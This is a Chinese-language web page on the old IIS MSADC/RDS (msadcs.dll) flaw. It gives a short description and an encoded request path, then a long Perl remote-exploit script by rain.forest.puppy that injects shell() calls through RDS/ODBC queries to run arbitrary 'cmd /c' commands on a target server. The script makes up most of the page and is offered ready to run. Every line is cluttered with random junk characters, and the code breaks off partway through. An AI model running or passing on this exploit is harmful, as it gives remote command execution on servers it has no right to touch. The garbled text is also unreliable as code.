IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
zF8dKFE~ K]s[5 涉及程序:
u09:Z{tL;@ Microsoft NT server
b&~4t/Vq z(_Ss@ $ 描述:
r@+ri1c 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
G7qG$wd8h 5NS[dQG5 详细:
juka0/ 如果你没有时间读详细内容的话,就删除:
Rs-]N1V c:\Program Files\Common Files\System\Msadc\msadcs.dll
1zm ulj%& 有关的安全问题就没有了。
XQ9O$
~q 5!DBmAB 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
rz wF~-m + u frW\X 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
s%C)t6`9 关于利用ODBC远程漏洞的描述,请参看:
ryW'Z{+r' Rot@x r7Hc http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm s2'yY(u/ ewa wL" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
5][Ztx http://www.microsoft.com/security/bulletins/MS99-025faq.asp M)'HCnvs' !sDh4jQ` 这里不再论述。
C([phT; +BVym~*^ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
*.sVr7=j Ir`eL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
f,V<;s 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
{ /K.3 gVq;m>\|F "!Uqcay- #将下面这段保存为txt文件,然后: "perl -x 文件名"
K`iv c N" <3xyjX'NE #!perl
5R'TcWf#W #
@.b+av4J # MSADC/RDS 'usage' (aka exploit) script
lD^]\;? #
)PG6gZYW # by rain.forest.puppy
C8[&S&<_< #
,sA[)wP { # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
i@P)a'W_ # beta test and find errors!
jhXkSj wfU7G[ use Socket; use Getopt::Std;
9K5pwC\$% getopts("e:vd:h:XR", \%args);
0vEoGgY0*: ,4zmb`dP< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
1<BX]-/tP DF1I[b=] if (!defined $args{h} && !defined $args{R}) {
;3d"wW]}7K print qq~
]w;rfn9D Usage: msadc.pl -h <host> { -d <delay> -X -v }
|zQ4u -h <host> = host you want to scan (ip or domain)
e\Y*F -d <seconds> = delay between calls, default 1 second
"}q@Y= -X = dump Index Server path table, if available
!n*
+(lZ -v = verbose
cxA ^:3 -e = external dictionary file for step 5
xl6,s>ob b4E:Wn9x Or a -R will resume a command session
\@8+U;d _CW(PsfY ~; exit;}
u+'tfFds& \^ZlG. $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\hBG<nH{0 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|+iws8xK? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
A6:es_ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
uT}' Y)m $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]z l[H7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
RoU55mL
k\WR ] if (!defined $args{R}){ $ret = &has_msadc;
Zb1<:[ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~~v3p>z Rr ``ou/Z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>sWp? . "cmd /c ";
g=QDu7Ux $in=<STDIN>; chomp $in;
t^6dzrF $command="cmd /c " . $in ;
U@-^C"R OY:,D if (defined $args{R}) {&load; exit;}
~ ip,Nl zx-81fx+k print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
kO|L bQ@=q &try_btcustmr;
vU767/ K Pt5=a print "\nStep 2: Trying to make our own DSN...";
pgOQIzu &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@&1ZB6OCb: }HY-uQ%@g print "\nStep 3: Trying known DSNs...";
JKGc3j,+# &known_dsn;
hS)'a^FV 8>0e*jC print "\nStep 4: Trying known .mdbs...";
Y8o)FVcyNy &known_mdb;
<4P4u*/o (>r[-Bft if (defined $args{e}){
pov)Z):}G< print "\nStep 5: Trying dictionary of DSN names...";
Z@3i$8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
!4^C #{$ rNB_W. print "Sorry Charley...maybe next time?\n";
K?BOvDW"` exit;
P/Q!<I >U%gctIg ##############################################################################
.
koYHq 1`a5C.v sub sendraw { # ripped and modded from whisker
3?1`D/ sleep($delay); # it's a DoS on the server! At least on mine...
LUqB&,a} my ($pstr)=@_;
prTw'~(B socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Mdl{}P0) die("Socket problems\n");
%`&2+\` if(connect(S,pack "SnA4x8",2,80,$target)){
vvKEv/pN7 select(S); $|=1;
Of4^?`
^ print $pstr; my @in=<S>;
a=hxJ1O select(STDOUT); close(S);
hM{{\yZS return @in;
:TJv=T'p' } else { die("Can't connect...\n"); }}
'H
\9:7 k3)dEH1z ##############################################################################
|Z=^`J +\F'iAs@ sub make_header { # make the HTTP request
&(xH$htv1 my $msadc=<<EOT
d`
jjGEj POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ug+io mZ User-Agent: ACTIVEDATA
kPF9Z "l Host: $ip
X@K-^8 Content-Length: $clen
1T-8K
r Connection: Keep-Alive
\}p6v } /.Ww6a~ ADCClientVersion:01.06
<8d^^0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
?e,pN,4 }j*KcB_ --!ADM!ROX!YOUR!WORLD!
wnM9('\ Content-Type: application/x-varg
S"OR% Content-Length: $reqlen
L1Iz<> S$Q8>u6Wk EOT
}^/9G17 ; $msadc=~s/\n/\r\n/g;
:9$F'd\ return $msadc;}
E}40oID 2@%$;. ##############################################################################
^(|vsFzn {j:hod@-:5 sub make_req { # make the RDS request
(UU(:/ my ($switch, $p1, $p2)=@_;
YRh BRE my $req=""; my $t1, $t2, $query, $dsn;
`eIenA mo[Zb0> if ($switch==1){ # this is the btcustmr.mdb query
2ioQb`= $query="Select * from Customers where City=" . make_shell();
~:3QBMk:: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
mxz-4. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
LAd\ Tvms X!m9lV< elsif ($switch==2){ # this is general make table query
jC7&s$>Q"g $query="create table AZZ (B int, C varchar(10))";
; =X P & $dsn="$p1";}
K)\M5id] TW[_Ko86 elsif ($switch==3){ # this is general exploit table query
:j]vf8ec $query="select * from AZZ where C=" . make_shell();
+TQ47Zc $dsn="$p1";}
(Nx;0"5IX xv&Q+HD elsif ($switch==4){ # attempt to hork file info from index server
brdmz} $query="select path from scope()";
.R9IL-3fO $dsn="Provider=MSIDXS;";}
A@sZ14+f FvJd8kV elsif ($switch==5){ # bad query
sK7+Q $query="select";
8[J}CdS $dsn="$p1";}
il \$@Bn mL_j4=ER@ $t1= make_unicode($query);
#3_*]8K.R $t2= make_unicode($dsn);
o]p|-<I Q $req = "\x02\x00\x03\x00";
k&.Jk
B" $req.= "\x08\x00" . pack ("S1", length($t1));
ui@2s;1t $req.= "\x00\x00" . $t1 ;
~R&;v3 $req.= "\x08\x00" . pack ("S1", length($t2));
rwG CUo6Z $req.= "\x00\x00" . $t2 ;
%"af748!+D $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}C#;fp"L return $req;}
`/~8}Y{ tWoh''@# ##############################################################################
H8`(O"V ea~:}!-P sub make_shell { # this makes the shell() statement
! ykx^z return "'|shell(\"$command\")|'";}
Vgyew9>E )JNSZB ##############################################################################
k:#P|z$UD CJXg@\\/ sub make_unicode { # quick little function to convert to unicode
!V,{_(LT my ($in)=@_; my $out;
h<SQL97N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
hDp6YV,q return $out;}
gF5a5T, Jte#ZnP ##############################################################################
'qF#<1& bLd#xXl sub rdo_success { # checks for RDO return success (this is kludge)
3Bx:Ntx< my (@in) = @_; my $base=content_start(@in);
nYa*b=[. if($in[$base]=~/multipart\/mixed/){
?1[\! return 1 if( $in[$base+10]=~/^\x09\x00/ );}
hwIMn33 return 0;}
I~9hx*!%% GKFq+]W ##############################################################################
IW%|G U=o"32n+ sub make_dsn { # this makes a DSN for us
(Gw,2-A my @drives=("c","d","e","f");
P7x = print "\nMaking DSN: ";
S9>0t0 foreach $drive (@drives) {
}A:<%N print "$drive: ";
{M?vBgR\B my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
en:4H "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
{vN}<f` . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
?l $Nf@- $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
OHflIeq#@ return 0 if $2 eq "404"; # not found/doesn't exist
x
$zKzfHW if($2 eq "200") {
ocyb5j foreach $line (@results) {
+\{&2a? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
if]Noe } return 0;}
`r_m+] wprX!)w<i ##############################################################################
bC3 F C^z\([k0er sub verify_exists {
|/| my ($page)=@_;
6Kj'ZyVL my @results=sendraw("GET $page HTTP/1.0\n\n");
,.o<no return $results[0];}
Vm|Y$C )|I5j];L ##############################################################################
CY&
hIh~S@ <uc1D/~^: sub try_btcustmr {
V`-vR2( my @drives=("c","d","e","f");
7rC uu *M my @dirs=("winnt","winnt35","winnt351","win","windows");
snt(IJQ ?9X&tK)E- foreach $dir (@dirs) {
QERU5|.wc print "$dir -> "; # fun status so you can see progress
{q3H5csFq foreach $drive (@drives) {
+~ #U7xgq/ print "$drive: "; # ditto
,o7hk{fR* $reqlen=length( make_req(1,$drive,$dir) ) - 28;
DS-fjH\ $reqlenlen=length( "$reqlen" );
7E @+ $clen= 206 + $reqlenlen + $reqlen;
uyF|O/FC \M"UmSB o my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7 ua6l[c if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
oiH|uIsqR else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O`$#Pg AC.A'|"]i ##############################################################################
P(>(K{v 7DfTfTU6 sub odbc_error {
gLSA!#[h my (@in)=@_; my $base;
}N*>QR5K my $base = content_start(@in);
T`9-VX;` if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
P=5NKg $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(#oycj^< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
SjEdyN# $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h)v^q: =' return $in[$base+4].$in[$base+5].$in[$base+6];}
vLO&Lpv print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+}
mk>e/ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
XTDE53Js& $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
hGf-q?7 `E\imL ##############################################################################
w^1Fi8+ ba3-t;S
sub verbose {
~^vC,]hU my ($in)=@_;
G5tday~3 return if !$verbose;
&)pK%SAM print STDOUT "\n$in\n";}
Q!M)xNl/ MbXq`% ##############################################################################
<TNk?df7 1IgHc.s sub save {
)uLr?$qe my ($p1, $p2, $p3, $p4)=@_;
A{<xc[w;p open(OUT, ">rds.save") || print "Problem saving parameters...\n";
+^6}
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
eu'1H@vX( close OUT;}
#ycL'T`X% !CjqL~ ##############################################################################
<1&Ke MF[z-7 sub load {
l>v{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k:#6^!b1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~k'V*ERNSj @p=<IN>; close(IN);
&2EBk= X $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
^^(<c,NX#M $target= inet_aton($ip) || die("inet_aton problems");
W>spz~w%j print "Resuming to $ip ...";
uG>nV $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
@<_`2eW'/R if($p[1]==1) {
Y(GN4@`S $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
H:a|x#" $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
' eO/PnYW my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!k~z5z'=py if (rdo_success(@results)){print "Success!\n";}
2r];V'r else { print "failed\n"; verbose(odbc_error(@results));}}
bO49GEUT _ elsif ($p[1]==3){
l9{#sas if(run_query("$p[3]")){
|ia@,*KD print "Success!\n";} else { print "failed\n"; }}
>Csbjf6 elsif ($p[1]==4){
>kdM:MK if(run_query($drvst . "$p[3]")){
4Y
tk!oS` print "Success!\n"; } else { print "failed\n"; }}
dmR3Y.\jd exit;}
oVZ4bRl b"8FlZ$ ##############################################################################
F,G,b 6CNS%\A sub create_table {
=8{*@>CX my ($in)=@_;
g=A$<